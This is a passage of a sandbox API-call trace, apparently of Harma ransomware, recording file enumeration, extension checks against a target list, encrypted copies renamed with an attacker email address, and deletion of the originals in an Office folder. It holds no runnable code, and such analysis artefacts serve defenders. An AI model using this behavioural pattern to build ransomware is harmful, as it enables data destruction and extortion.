dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0155.378] GetLastError () returned 0x0 [0155.378] ReadFile (in: hFile=0x388, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x332, lpOverlapped=0x0) returned 1 [0155.459] WriteFile (in: hFile=0x380, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x340, lpOverlapped=0x0) returned 1 [0155.460] ReadFile (in: hFile=0x388, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0155.462] WriteFile (in: hFile=0x380, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xec, lpOverlapped=0x0) returned 1 [0155.462] SetEndOfFile (hFile=0x380) returned 1 [0155.462] CloseHandle (hObject=0x380) returned 1 [0155.462] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0155.463] SetEndOfFile (hFile=0x388) returned 1 [0155.482] CloseHandle (hObject=0x388) returned 1 [0155.482] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0155.483] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd")) returned 1 [0155.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0155.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0155.484] lstrlenW (lpString=".doc") returned 4 [0155.484] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0155.484] lstrlenW (lpString=".docx") returned 5 [0155.484] lstrcmpiW (lpString1=".docx", lpString2="Y.VRD") returned -1 [0155.484] lstrlenW (lpString=".pdf") returned 4 [0155.484] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0155.484] lstrlenW (lpString=".xls") returned 4 [0155.485] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0155.485] lstrlenW (lpString=".xlsx") returned 5 [0155.485] lstrcmpiW (lpString1=".xlsx", lpString2="Y.VRD") returned -1 [0155.485] lstrlenW (lpString=".ppt") returned 4 [0155.485] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0155.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0155.485] lstrlenW (lpString=".zip") returned 4 [0155.485] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0155.485] lstrlenW (lpString=".rar") returned 4 [0155.485] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0155.485] lstrlenW (lpString=".bz2") returned 4 [0155.485] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0155.485] lstrlenW (lpString=".7z") returned 3 [0155.485] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0155.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0155.485] lstrlenW (lpString=".dbf") returned 4 [0155.485] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0155.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0155.485] lstrlenW (lpString=".1cd") returned 4 [0155.485] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0155.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0155.485] lstrlenW (lpString=".jpg") returned 4 [0155.485] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0155.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0155.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0155.485] lstrlenW (lpString=".doc") returned 4 [0155.485] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0155.485] lstrlenW (lpString=".docx") returned 5 [0155.485] lstrcmpiW (lpString1=".docx", lpString2="Y.VRD") returned -1 [0155.486] lstrlenW (lpString=".pdf") returned 4 [0155.486] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0155.486] lstrlenW (lpString=".xls") returned 4 [0155.486] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0155.486] lstrlenW (lpString=".xlsx") returned 5 [0155.486] lstrcmpiW (lpString1=".xlsx", lpString2="Y.VRD") returned -1 [0155.486] lstrlenW (lpString=".ppt") returned 4 [0155.486] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0155.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0155.486] lstrlenW (lpString=".zip") returned 4 [0155.486] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0155.486] lstrlenW (lpString=".rar") returned 4 [0155.486] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0155.486] lstrlenW (lpString=".bz2") returned 4 [0155.486] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0155.486] lstrlenW (lpString=".7z") returned 3 [0155.486] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0155.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0155.486] lstrlenW (lpString=".dbf") returned 4 [0155.486] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0155.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0155.486] lstrlenW (lpString=".1cd") returned 4 [0155.486] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0155.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60 [0155.486] lstrlenW (lpString=".jpg") returned 4 [0155.486] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0155.487] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0155.487] lstrlenW (lpString="IPDSINTL.DLL") returned 12 [0155.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0155.487] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=2270608) returned 1 [0155.487] CloseHandle (hObject=0x388) returned 1 [0155.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll")) returned 0x20 [0155.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0155.488] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0155.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0155.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0155.488] lstrlenW (lpString=".doc") returned 4 [0155.488] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0155.488] lstrlenW (lpString=".docx") returned 5 [0155.488] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0155.488] lstrlenW (lpString=".pdf") returned 4 [0155.488] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0155.488] lstrlenW (lpString=".xls") returned 4 [0155.488] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0155.488] lstrlenW (lpString=".xlsx") returned 5 [0155.488] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0155.488] lstrlenW (lpString=".ppt") returned 4 [0155.488] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0155.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0155.488] lstrlenW (lpString=".zip") returned 4 [0155.488] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0155.488] lstrlenW (lpString=".rar") returned 4 [0155.488] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0155.489] lstrlenW (lpString=".bz2") returned 4 [0155.489] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0155.489] lstrlenW (lpString=".7z") returned 3 [0155.489] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0155.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0155.489] lstrlenW (lpString=".dbf") returned 4 [0155.489] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0155.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0155.489] lstrlenW (lpString=".1cd") returned 4 [0155.489] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0155.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0155.489] lstrlenW (lpString=".jpg") returned 4 [0155.489] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0155.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0155.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0155.489] lstrlenW (lpString=".doc") returned 4 [0155.489] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0155.489] lstrlenW (lpString=".docx") returned 5 [0155.489] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0155.489] lstrlenW (lpString=".pdf") returned 4 [0155.489] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0155.489] lstrlenW (lpString=".xls") returned 4 [0155.489] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0155.489] lstrlenW (lpString=".xlsx") returned 5 [0155.489] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0155.489] lstrlenW (lpString=".ppt") returned 4 [0155.489] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0155.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0155.490] lstrlenW (lpString=".zip") returned 4 [0155.490] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0155.490] lstrlenW (lpString=".rar") returned 4 [0155.490] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0155.490] lstrlenW (lpString=".bz2") returned 4 [0155.490] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0155.490] lstrlenW (lpString=".7z") returned 3 [0155.490] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0155.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0155.490] lstrlenW (lpString=".dbf") returned 4 [0155.490] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0155.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0155.490] lstrlenW (lpString=".1cd") returned 4 [0155.490] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0155.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60 [0155.490] lstrlenW (lpString=".jpg") returned 4 [0155.490] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0155.490] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0155.490] lstrlenW (lpString="IPEDINTL.DLL") returned 12 [0155.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipedintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0155.491] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=883600) returned 1 [0155.491] CloseHandle (hObject=0x388) returned 1 [0155.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipedintl.dll")) returned 0x20 [0155.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipedintl.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0155.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipedintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0155.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0155.492] lstrlenW (lpString=".doc") returned 4 [0155.492] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0155.492] lstrlenW (lpString=".docx") returned 5 [0155.492] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0155.492] lstrlenW (lpString=".pdf") returned 4 [0155.492] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0155.492] lstrlenW (lpString=".xls") returned 4 [0155.492] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0155.492] lstrlenW (lpString=".xlsx") returned 5 [0155.492] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0155.492] lstrlenW (lpString=".ppt") returned 4 [0155.492] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0155.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0155.492] lstrlenW (lpString=".zip") returned 4 [0155.492] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0155.492] lstrlenW (lpString=".rar") returned 4 [0155.492] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0155.492] lstrlenW (lpString=".bz2") returned 4 [0155.492] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0155.492] lstrlenW (lpString=".7z") returned 3 [0155.492] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0155.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0155.492] lstrlenW (lpString=".dbf") returned 4 [0155.492] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0155.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0155.492] lstrlenW (lpString=".1cd") returned 4 [0155.493] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0155.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0155.493] lstrlenW (lpString=".jpg") returned 4 [0155.493] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0155.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0155.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0155.494] lstrlenW (lpString=".doc") returned 4 [0155.494] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0155.494] lstrlenW (lpString=".docx") returned 5 [0155.494] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0155.495] lstrlenW (lpString=".pdf") returned 4 [0155.495] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0155.495] lstrlenW (lpString=".xls") returned 4 [0155.495] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0155.495] lstrlenW (lpString=".xlsx") returned 5 [0155.495] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0155.495] lstrlenW (lpString=".ppt") returned 4 [0155.495] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0155.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0155.495] lstrlenW (lpString=".zip") returned 4 [0155.495] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0155.495] lstrlenW (lpString=".rar") returned 4 [0155.495] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0155.495] lstrlenW (lpString=".bz2") returned 4 [0155.495] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0155.495] lstrlenW (lpString=".7z") returned 3 [0155.495] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0155.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0155.495] lstrlenW (lpString=".dbf") returned 4 [0155.495] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0155.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0155.495] lstrlenW (lpString=".1cd") returned 4 [0155.495] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0155.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL") returned 60 [0155.496] lstrlenW (lpString=".jpg") returned 4 [0155.496] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0155.496] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0155.496] lstrlenW (lpString="IPOLKINTL.DLL") returned 13 [0155.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipolkintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0155.496] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=255920) returned 1 [0155.497] CloseHandle (hObject=0x388) returned 1 [0155.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipolkintl.dll")) returned 0x20 [0155.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipolkintl.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0155.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipolkintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0155.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0155.498] lstrlenW (lpString=".doc") returned 4 [0155.498] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0155.498] lstrlenW (lpString=".docx") returned 5 [0155.498] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0155.498] lstrlenW (lpString=".pdf") returned 4 [0155.498] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0155.498] lstrlenW (lpString=".xls") returned 4 [0155.498] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0155.498] lstrlenW (lpString=".xlsx") returned 5 [0155.498] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0155.498] lstrlenW (lpString=".ppt") returned 4 [0155.498] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0155.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0155.498] lstrlenW (lpString=".zip") returned 4 [0155.498] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0155.498] lstrlenW (lpString=".rar") returned 4 [0155.498] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0155.498] lstrlenW (lpString=".bz2") returned 4 [0155.498] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0155.498] lstrlenW (lpString=".7z") returned 3 [0155.498] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0155.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0155.499] lstrlenW (lpString=".dbf") returned 4 [0155.499] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0155.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0155.499] lstrlenW (lpString=".1cd") returned 4 [0155.499] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0155.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0155.499] lstrlenW (lpString=".jpg") returned 4 [0155.499] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0155.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0155.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0155.499] lstrlenW (lpString=".doc") returned 4 [0155.499] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0155.499] lstrlenW (lpString=".docx") returned 5 [0155.499] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0155.499] lstrlenW (lpString=".pdf") returned 4 [0155.499] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0155.499] lstrlenW (lpString=".xls") returned 4 [0155.499] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0155.499] lstrlenW (lpString=".xlsx") returned 5 [0155.499] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0155.499] lstrlenW (lpString=".ppt") returned 4 [0155.499] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0155.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0156.468] lstrlenW (lpString=".zip") returned 4 [0156.468] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0156.468] lstrlenW (lpString=".rar") returned 4 [0156.468] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0156.468] lstrlenW (lpString=".bz2") returned 4 [0156.468] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0156.468] lstrlenW (lpString=".7z") returned 3 [0156.468] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0156.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0156.468] lstrlenW (lpString=".dbf") returned 4 [0156.468] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0156.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0156.468] lstrlenW (lpString=".1cd") returned 4 [0156.468] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0156.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL") returned 61 [0156.468] lstrlenW (lpString=".jpg") returned 4 [0156.469] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0156.469] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".harma") returned 1 [0156.469] lstrlenW (lpString="MAPIR.DLL.IDX_DLL") returned 17 [0156.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0156.748] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=108416) returned 1 [0156.748] CloseHandle (hObject=0x364) returned 1 [0156.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll")) returned 0x20 [0156.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0156.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0156.749] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.749] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0156.750] GetLastError () returned 0x0 [0156.750] ReadFile (in: hFile=0x364, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x1a780, lpOverlapped=0x0) returned 1 [0156.821] WriteFile (in: hFile=0x378, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x1a790, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, 